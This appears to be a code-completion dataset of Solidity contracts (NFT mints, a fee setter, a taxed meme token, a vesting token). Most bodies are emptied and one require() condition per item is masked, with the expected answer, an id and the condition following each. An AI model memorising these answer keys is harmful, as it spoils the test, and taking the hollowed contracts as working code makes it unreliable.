import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
// βββββββββββββββββββββββββββββββββββββ
// βββββββββββββββββββββββββββββββββββββ
// βββββββββββββββββββββββββββββββββββββ
// βββββββββββββββββββββββββββββββββββββ
// βββββββββββββββββββββββββββββββββββββ
// βββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// Powered by Eye Labs, Inc.
contract EyeMapKingsRevelation is Ownable, ReentrancyGuard {
address public eyeverseContract;
constructor(address _eyeverseContract) {
}
uint256 public maxSupply = 20;
uint256 public currentSupply = 0;
uint256 public price = 0.5 ether;
struct Member {
address from;
uint256 eyeverseId;
string username;
}
Member[] public members;
mapping(uint256 => bool) public tokenClaimed;
bool public paused = false;
// MODIFIERS
modifier notPaused() {
}
// HOLD A COUNCIL WITH THE EYE KING
function claimToken(uint256 eyeverseId, string memory _user) public payable notPaused nonReentrant {
require(currentSupply + 1 <= maxSupply, "Token sold out.");
IERC721 token = IERC721(eyeverseContract);
require(msg.sender == token.ownerOf(eyeverseId), "Caller is not owner of token");
require(<FILL_ME>)
require(msg.value >= price, "Insufficient funds");
tokenClaimed[eyeverseId] = true;
currentSupply += 1;
members.push(Member(msg.sender, eyeverseId, _user));
}
// CRUD
function setPaused(bool _state) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setPrice(uint256 _price) public onlyOwner {
}
// VIEW
function getMember(uint256 memberId) public view returns (address, uint256) {
}
function getMembersCount() public view returns (uint256) {
}
// WITHDRAW
function withdraw() public onlyOwner nonReentrant {
}
}
|
tokenClaimed[eyeverseId]==false,"Token already requested"
| 139,215 |
tokenClaimed[eyeverseId]==false
|
'lte20%'
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import '@openzeppelin/contracts/access/Ownable.sol';
import './interfaces/IProtocolFees.sol';
contract ProtocolFees is IProtocolFees, Ownable {
uint256 public constant override DEN = 10000;
uint256 public override yieldAdmin;
uint256 public override yieldBurn;
function setYieldAdmin(uint256 _yieldAdmin) external onlyOwner {
require(<FILL_ME>)
yieldAdmin = _yieldAdmin;
emit SetYieldAdmin(_yieldAdmin);
}
function setYieldBurn(uint256 _yieldBurn) external onlyOwner {
}
}
|
_yieldAdmin<=(DEN*20)/100,'lte20%'
| 139,221 |
_yieldAdmin<=(DEN*20)/100
|
'lte20%'
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import '@openzeppelin/contracts/access/Ownable.sol';
import './interfaces/IProtocolFees.sol';
contract ProtocolFees is IProtocolFees, Ownable {
uint256 public constant override DEN = 10000;
uint256 public override yieldAdmin;
uint256 public override yieldBurn;
function setYieldAdmin(uint256 _yieldAdmin) external onlyOwner {
}
function setYieldBurn(uint256 _yieldBurn) external onlyOwner {
require(<FILL_ME>)
yieldBurn = _yieldBurn;
emit SetYieldBurn(_yieldBurn);
}
}
|
_yieldBurn<=(DEN*20)/100,'lte20%'
| 139,221 |
_yieldBurn<=(DEN*20)/100
|
"Quantity exceeds max supply of tokens"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import 'erc721a/contracts/ERC721A.sol';
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Beowulf is ERC721A, Ownable {
uint public maxPerWallet = 1;
uint public constant mintPrice = 0.01 ether;
uint public maxSupply = 999;
uint public wlSupply = 300;
uint public publicSupply = 699;
uint public mintedWLSupply = 0;
uint public mintedPublicSupply = 0;
bool public isSale = false;
bool public isMetadataFinal;
string private _baseURL;
bytes32 public merkleRoot;
mapping(address => uint) private _walletPublicMintedCount;
mapping(address => uint) private _walletWLMintedCount;
constructor() ERC721A('Beowulf', 'WULF') {}
function _baseURI() internal view override returns (string memory) {
}
function setMetadata(string memory url) external onlyOwner {
}
function mintedPublicCount(address owner) external view returns (uint) {
}
function mintedWLCount(address owner) external view returns (uint) {
}
function setSale(bool value) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function airdrop(address to, uint count) external onlyOwner {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner{
}
function publicMint(uint256 quantity) external payable {
require(isSale, "Sale not live");
require(quantity > 0, "Quantity of tokens must be bigger than 0");
require(quantity <= maxPerWallet, "Quantity of tokens must be 1");
require(<FILL_ME>)
require(_walletPublicMintedCount[msg.sender] + quantity == 1, "You have already minted.");
require(msg.value >= mintPrice * quantity, "Insufficient ether value");
mintedPublicSupply += quantity;
_walletPublicMintedCount[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
function wlMint(uint256 quantity, bytes32[] memory _merkleProof) external payable {
}
function burn(uint256 tokenId) public onlyOwner {
}
}
|
mintedPublicSupply+quantity<=publicSupply,"Quantity exceeds max supply of tokens"
| 139,237 |
mintedPublicSupply+quantity<=publicSupply
|
"You have already minted."
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import 'erc721a/contracts/ERC721A.sol';
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Beowulf is ERC721A, Ownable {
uint public maxPerWallet = 1;
uint public constant mintPrice = 0.01 ether;
uint public maxSupply = 999;
uint public wlSupply = 300;
uint public publicSupply = 699;
uint public mintedWLSupply = 0;
uint public mintedPublicSupply = 0;
bool public isSale = false;
bool public isMetadataFinal;
string private _baseURL;
bytes32 public merkleRoot;
mapping(address => uint) private _walletPublicMintedCount;
mapping(address => uint) private _walletWLMintedCount;
constructor() ERC721A('Beowulf', 'WULF') {}
function _baseURI() internal view override returns (string memory) {
}
function setMetadata(string memory url) external onlyOwner {
}
function mintedPublicCount(address owner) external view returns (uint) {
}
function mintedWLCount(address owner) external view returns (uint) {
}
function setSale(bool value) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function airdrop(address to, uint count) external onlyOwner {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner{
}
function publicMint(uint256 quantity) external payable {
require(isSale, "Sale not live");
require(quantity > 0, "Quantity of tokens must be bigger than 0");
require(quantity <= maxPerWallet, "Quantity of tokens must be 1");
require(mintedPublicSupply + quantity <= publicSupply, "Quantity exceeds max supply of tokens");
require(<FILL_ME>)
require(msg.value >= mintPrice * quantity, "Insufficient ether value");
mintedPublicSupply += quantity;
_walletPublicMintedCount[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
function wlMint(uint256 quantity, bytes32[] memory _merkleProof) external payable {
}
function burn(uint256 tokenId) public onlyOwner {
}
}
|
_walletPublicMintedCount[msg.sender]+quantity==1,"You have already minted."
| 139,237 |
_walletPublicMintedCount[msg.sender]+quantity==1
|
"Quantity exceeds max supply of tokens"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import 'erc721a/contracts/ERC721A.sol';
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Beowulf is ERC721A, Ownable {
uint public maxPerWallet = 1;
uint public constant mintPrice = 0.01 ether;
uint public maxSupply = 999;
uint public wlSupply = 300;
uint public publicSupply = 699;
uint public mintedWLSupply = 0;
uint public mintedPublicSupply = 0;
bool public isSale = false;
bool public isMetadataFinal;
string private _baseURL;
bytes32 public merkleRoot;
mapping(address => uint) private _walletPublicMintedCount;
mapping(address => uint) private _walletWLMintedCount;
constructor() ERC721A('Beowulf', 'WULF') {}
function _baseURI() internal view override returns (string memory) {
}
function setMetadata(string memory url) external onlyOwner {
}
function mintedPublicCount(address owner) external view returns (uint) {
}
function mintedWLCount(address owner) external view returns (uint) {
}
function setSale(bool value) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function airdrop(address to, uint count) external onlyOwner {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner{
}
function publicMint(uint256 quantity) external payable {
}
function wlMint(uint256 quantity, bytes32[] memory _merkleProof) external payable {
require(isSale, "Sale not live");
require(quantity > 0, "Quantity of tokens must be bigger than 0");
require(quantity <= maxPerWallet, "Quantity of tokens must be 1");
require(<FILL_ME>)
require(_walletWLMintedCount[msg.sender] + quantity == 1, "You have already minted.");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Incorrect proof");
require(msg.value >= mintPrice * quantity, "Insufficient ether value");
mintedWLSupply += quantity;
_walletWLMintedCount[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
function burn(uint256 tokenId) public onlyOwner {
}
}
|
mintedWLSupply+quantity<=wlSupply,"Quantity exceeds max supply of tokens"
| 139,237 |
mintedWLSupply+quantity<=wlSupply
|
"You have already minted."
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import 'erc721a/contracts/ERC721A.sol';
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Beowulf is ERC721A, Ownable {
uint public maxPerWallet = 1;
uint public constant mintPrice = 0.01 ether;
uint public maxSupply = 999;
uint public wlSupply = 300;
uint public publicSupply = 699;
uint public mintedWLSupply = 0;
uint public mintedPublicSupply = 0;
bool public isSale = false;
bool public isMetadataFinal;
string private _baseURL;
bytes32 public merkleRoot;
mapping(address => uint) private _walletPublicMintedCount;
mapping(address => uint) private _walletWLMintedCount;
constructor() ERC721A('Beowulf', 'WULF') {}
function _baseURI() internal view override returns (string memory) {
}
function setMetadata(string memory url) external onlyOwner {
}
function mintedPublicCount(address owner) external view returns (uint) {
}
function mintedWLCount(address owner) external view returns (uint) {
}
function setSale(bool value) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function airdrop(address to, uint count) external onlyOwner {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner{
}
function publicMint(uint256 quantity) external payable {
}
function wlMint(uint256 quantity, bytes32[] memory _merkleProof) external payable {
require(isSale, "Sale not live");
require(quantity > 0, "Quantity of tokens must be bigger than 0");
require(quantity <= maxPerWallet, "Quantity of tokens must be 1");
require(mintedWLSupply + quantity <= wlSupply, "Quantity exceeds max supply of tokens");
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Incorrect proof");
require(msg.value >= mintPrice * quantity, "Insufficient ether value");
mintedWLSupply += quantity;
_walletWLMintedCount[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
function burn(uint256 tokenId) public onlyOwner {
}
}
|
_walletWLMintedCount[msg.sender]+quantity==1,"You have already minted."
| 139,237 |
_walletWLMintedCount[msg.sender]+quantity==1
|
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
|
// SPDX-License-Identifier: MIT
/*
------------------------------------------------------------------------------------
[!!!! DEV:ElonMuskfollow.eth !!!!]
\\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////////////
\\ //
\\ WebοΌhttp://ElonMuskfollow.com //
\\ TelegramοΌhttps://t.me/MuskFollow //
\\ TwitterοΌhttps://twitter.com/muskfollow //
\\ //
\\\\\\\\\\\\\\\\\\\\\\///////////////////////
-------------------------------------------------------------------------------------
*/
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonMuskFollowEth is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isExcludedFromFee;
mapping(address => uint256) private holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private marketingWallet;
struct Taxes {
uint256 buy;
uint256 sell;
}
Taxes public launchTax;
Taxes public finalTax;
Taxes public reduceTaxAt;
uint256 private buyCount=0;
string private constant _name = unicode"Falcon9 ";
string private constant _symbol = unicode"Falcon9 ";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 100_000_000_000_000 * 10**_decimals;
uint256 public taxSwapThreshold = _totalSupply.mul(2).div(10000);
uint256 public maxTaxSwap = _totalSupply.mul(1).div(100);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private inSwap = false;
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (isExcludedFromFee[from] || isExcludedFromFee[to]) {
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
return;
}
uint256 taxAmount = amount.mul((buyCount>reduceTaxAt.buy)?finalTax.buy:launchTax.buy).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(<FILL_ME>)
holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
buyCount++;
}
if (to == uniswapV2Pair && from != address(this)){
taxAmount = amount.mul((buyCount>reduceTaxAt.sell)?finalTax.sell:launchTax.sell).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && contractTokenBalance>taxSwapThreshold && buyCount>reduceTaxAt.sell) {
swapTokensForEth(min(amount,min(contractTokenBalance,maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
if (taxAmount > 0) {
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
receive() external payable {}
}
|
holderLastTransferTimestamp[tx.origin]<block.number,"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
| 139,370 |
holderLastTransferTimestamp[tx.origin]<block.number
|
"Account is already the value of 'excluded'"
|
// SPDX-License-Identifier: MIT
/*
------------------------------------------------------------------------------------
[!!!! DEV:ElonMuskfollow.eth !!!!]
\\\\\\\\\\\\\\\\\\\\\\\\\\///////////////////////////////
\\ //
\\ WebοΌhttp://ElonMuskfollow.com //
\\ TelegramοΌhttps://t.me/MuskFollow //
\\ TwitterοΌhttps://twitter.com/muskfollow //
\\ //
\\\\\\\\\\\\\\\\\\\\\\///////////////////////
-------------------------------------------------------------------------------------
*/
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonMuskFollowEth is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isExcludedFromFee;
mapping(address => uint256) private holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private marketingWallet;
struct Taxes {
uint256 buy;
uint256 sell;
}
Taxes public launchTax;
Taxes public finalTax;
Taxes public reduceTaxAt;
uint256 private buyCount=0;
string private constant _name = unicode"Falcon9 ";
string private constant _symbol = unicode"Falcon9 ";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 100_000_000_000_000 * 10**_decimals;
uint256 public taxSwapThreshold = _totalSupply.mul(2).div(10000);
uint256 public maxTaxSwap = _totalSupply.mul(1).div(100);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private inSwap = false;
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
require(<FILL_ME>)
isExcludedFromFee[account] = excluded;
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
receive() external payable {}
}
|
isExcludedFromFee[account]!=excluded,"Account is already the value of 'excluded'"
| 139,370 |
isExcludedFromFee[account]!=excluded
|
"CLAIMS_ALREADY_STARTED"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface IVestingFactory {
function createLockSchedule(
address,
uint64,
uint64
) external returns (address);
}
contract STONE is ERC20, AccessControl, ReentrancyGuard {
using SafeERC20 for IERC20Metadata;
uint256 public maxSupply;
uint256 private maxMintable;
address public teamWallet;
address public publicWallet;
address public liquidityWallet;
address public treasuryWallet;
address public feeCollector;
IERC20Metadata public vSTONE;
uint256 public presaleMaxSupply;
bool public taxApplied;
uint256 public constant taxBPS = 200;
IVestingFactory public vestingFactory;
address public teamLockSchedule;
address public treasuryLockSchedule;
bool public isVestingStarted;
bool public isClaimStarted;
constructor(address _owner) ERC20("STONE", "STONE") {
}
function initPresaleClaims() external onlyRole(DEFAULT_ADMIN_ROLE) {
if (address(vSTONE) == address(0)) revert("ZERO_ADDRESS");
require(<FILL_ME>)
_mint(address(vSTONE), presaleMaxSupply);
isClaimStarted = true;
}
function initVestingSchedule() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setvSTONE(address _vSTONE) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTaxApplied(
bool _taxApplied
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setFeeCollector(
address _feeCollector
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTeamWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPublicWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setLiquidityWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTreasuryWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setVestingFactory(
address _vestingFactory
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _transfer(
address from,
address to,
uint256 value
) internal virtual override(ERC20) nonReentrant {
}
function _getTaxablePart(
uint256 value
) internal pure returns (uint256 tax, uint256 transferable) {
}
function _getPercentAmt(
uint256 _amount,
uint256 _percBPS
) internal pure returns (uint256) {
}
function _noZeroAddress(address _addr) internal pure returns (bool isAddr) {
}
}
|
!isClaimStarted,"CLAIMS_ALREADY_STARTED"
| 139,686 |
!isClaimStarted
|
"VESTING_ALREADY_STARTED"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface IVestingFactory {
function createLockSchedule(
address,
uint64,
uint64
) external returns (address);
}
contract STONE is ERC20, AccessControl, ReentrancyGuard {
using SafeERC20 for IERC20Metadata;
uint256 public maxSupply;
uint256 private maxMintable;
address public teamWallet;
address public publicWallet;
address public liquidityWallet;
address public treasuryWallet;
address public feeCollector;
IERC20Metadata public vSTONE;
uint256 public presaleMaxSupply;
bool public taxApplied;
uint256 public constant taxBPS = 200;
IVestingFactory public vestingFactory;
address public teamLockSchedule;
address public treasuryLockSchedule;
bool public isVestingStarted;
bool public isClaimStarted;
constructor(address _owner) ERC20("STONE", "STONE") {
}
function initPresaleClaims() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function initVestingSchedule() external onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
require(
_noZeroAddress(teamWallet) &&
_noZeroAddress(publicWallet) &&
_noZeroAddress(liquidityWallet) &&
_noZeroAddress(treasuryWallet) &&
_noZeroAddress(address(vestingFactory)),
"ZERO_ADDRESS"
);
_mint(publicWallet, _getPercentAmt(maxMintable, 3125));
_mint(liquidityWallet, _getPercentAmt(maxMintable, 3750));
teamLockSchedule = vestingFactory.createLockSchedule(
teamWallet,
uint64(block.timestamp),
uint64(47335428)
);
_mint(teamLockSchedule, _getPercentAmt(maxMintable, 1875));
treasuryLockSchedule = vestingFactory.createLockSchedule(
treasuryWallet,
uint64(block.timestamp),
uint64(94670856)
);
_mint(treasuryLockSchedule, _getPercentAmt(maxMintable, 1250));
isVestingStarted = true;
}
function setvSTONE(address _vSTONE) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTaxApplied(
bool _taxApplied
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setFeeCollector(
address _feeCollector
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTeamWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPublicWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setLiquidityWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTreasuryWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setVestingFactory(
address _vestingFactory
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _transfer(
address from,
address to,
uint256 value
) internal virtual override(ERC20) nonReentrant {
}
function _getTaxablePart(
uint256 value
) internal pure returns (uint256 tax, uint256 transferable) {
}
function _getPercentAmt(
uint256 _amount,
uint256 _percBPS
) internal pure returns (uint256) {
}
function _noZeroAddress(address _addr) internal pure returns (bool isAddr) {
}
}
|
!isVestingStarted,"VESTING_ALREADY_STARTED"
| 139,686 |
!isVestingStarted
|
"ZERO_ADDRESS"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface IVestingFactory {
function createLockSchedule(
address,
uint64,
uint64
) external returns (address);
}
contract STONE is ERC20, AccessControl, ReentrancyGuard {
using SafeERC20 for IERC20Metadata;
uint256 public maxSupply;
uint256 private maxMintable;
address public teamWallet;
address public publicWallet;
address public liquidityWallet;
address public treasuryWallet;
address public feeCollector;
IERC20Metadata public vSTONE;
uint256 public presaleMaxSupply;
bool public taxApplied;
uint256 public constant taxBPS = 200;
IVestingFactory public vestingFactory;
address public teamLockSchedule;
address public treasuryLockSchedule;
bool public isVestingStarted;
bool public isClaimStarted;
constructor(address _owner) ERC20("STONE", "STONE") {
}
function initPresaleClaims() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function initVestingSchedule() external onlyRole(DEFAULT_ADMIN_ROLE) {
require(!isVestingStarted, "VESTING_ALREADY_STARTED");
require(<FILL_ME>)
_mint(publicWallet, _getPercentAmt(maxMintable, 3125));
_mint(liquidityWallet, _getPercentAmt(maxMintable, 3750));
teamLockSchedule = vestingFactory.createLockSchedule(
teamWallet,
uint64(block.timestamp),
uint64(47335428)
);
_mint(teamLockSchedule, _getPercentAmt(maxMintable, 1875));
treasuryLockSchedule = vestingFactory.createLockSchedule(
treasuryWallet,
uint64(block.timestamp),
uint64(94670856)
);
_mint(treasuryLockSchedule, _getPercentAmt(maxMintable, 1250));
isVestingStarted = true;
}
function setvSTONE(address _vSTONE) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTaxApplied(
bool _taxApplied
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setFeeCollector(
address _feeCollector
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTeamWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setPublicWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setLiquidityWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setTreasuryWallet(
address _wallet
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setVestingFactory(
address _vestingFactory
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _transfer(
address from,
address to,
uint256 value
) internal virtual override(ERC20) nonReentrant {
}
function _getTaxablePart(
uint256 value
) internal pure returns (uint256 tax, uint256 transferable) {
}
function _getPercentAmt(
uint256 _amount,
uint256 _percBPS
) internal pure returns (uint256) {
}
function _noZeroAddress(address _addr) internal pure returns (bool isAddr) {
}
}
|
